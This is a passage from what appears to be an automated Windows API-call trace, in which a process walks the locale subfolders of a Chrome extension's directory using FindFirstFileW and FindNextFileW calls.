Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpFilePart=0x0) returned 0x78 [0224.405] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*", lpFindFileData=0x1f6e8060 | out: lpFindFileData=0x1f6e8060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551c64bf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554a0b75, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x554a0b75, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af80 [0225.120] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551c64bf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554a0b75, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x554a0b75, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.121] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551cd9ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551d0100, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x551d0100, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0225.121] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551dc455, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551deb68, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x551deb68, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0225.121] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551eaeb6, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551efcd8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x551efcd8, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0225.121] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551f991d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551fe740, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x551fe740, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0225.121] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5520aa75, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5520f8cf, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5520f8cf, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0225.121] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5521bc05, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5521e318, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5521e318, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0225.121] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5522cd72, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55231ba1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55231ba1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0225.122] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5523b7c1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55240602, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55240602, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1 [0225.122] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5524a244, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5524f067, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5524f067, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0225.122] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5525b3bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5525dacb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5525dacb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0225.122] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5526c52f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5526ec42, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5526ec42, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_419", cAlternateFileName="")) returned 1 [0225.122] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5527af93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5527fdb5, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5527fdb5, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0225.122] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552899f4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5528e81a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5528e81a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0225.122] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5529845b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5529d27e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5529d27e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1 [0225.123] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552a95cf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552abcd6, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552abcd6, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0225.123] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552b591e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552ba743, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552ba743, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0225.123] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552c91c0, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552cdfe6, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552cdfe6, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0225.123] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552da308, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552df141, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552df141, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0225.123] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552e8d7f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552edba8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552edba8, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0225.123] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552f9ef6, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552fed19, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552fed19, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0225.123] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5530895a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5530d780, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5530d780, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0225.124] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553173b2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5531c1d8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5531c1d8, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0225.125] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5532ac3c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5533217d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5533217d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0225.126] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5533e4cc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55340bdb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55340bdb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0226.364] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5534cf30, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5534f643, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5534f643, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1 [0226.379] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5535b994, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553607b6, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553607b6, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0226.379] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5536f21e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5537402a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5537402a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0226.379] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5538038e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55382aa1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55382aa1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0226.379] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5538ede3, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55393c15, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55393c15, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0226.379] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5539d857, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553a2679, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553a2679, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1 [0226.380] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553b37e4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553b860f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553b860f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0226.380] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553c2245, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553c7077, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553c7077, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0226.380] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553d2122, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553d5bbe, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553d5bbe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0226.380] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553e6d3e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553ea7d4, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553ea7d4, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0226.380] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553f6fa1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553fd14a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553fd14a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1 [0226.380] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5541a6c7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55429128, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55429128, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0226.381] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5543548c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5543c9c1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5543c9c1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0226.381] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55452973, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55457773, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55457773, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0226.381] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55463ac8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554661d8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x554661d8, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0226.381] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55479a4f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5547e881, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5547e881, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0226.381] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5548d2e2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5549481a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5549481a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0226.381] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x554a0b75, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554a598b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x554a598b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0226.381] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x554a0b75, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554a598b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x554a598b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0 [0226.382] FindClose (in: hFindFile=0x134af80 | out: hFindFile=0x134af80) returned 1 [0226.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8280) returned 1 [0226.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8240) returned 1 [0226.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e8340) returned 1 [0226.382] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", nBufferLength=0x105, lpBuffer=0x1f6e7de0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpFilePart=0x0) returned 0x78 [0226.382] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*", lpFindFileData=0x1f6e8060 | out: lpFindFileData=0x1f6e8060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551c64bf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554a0b75, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x554a0b75, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0226.383] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, 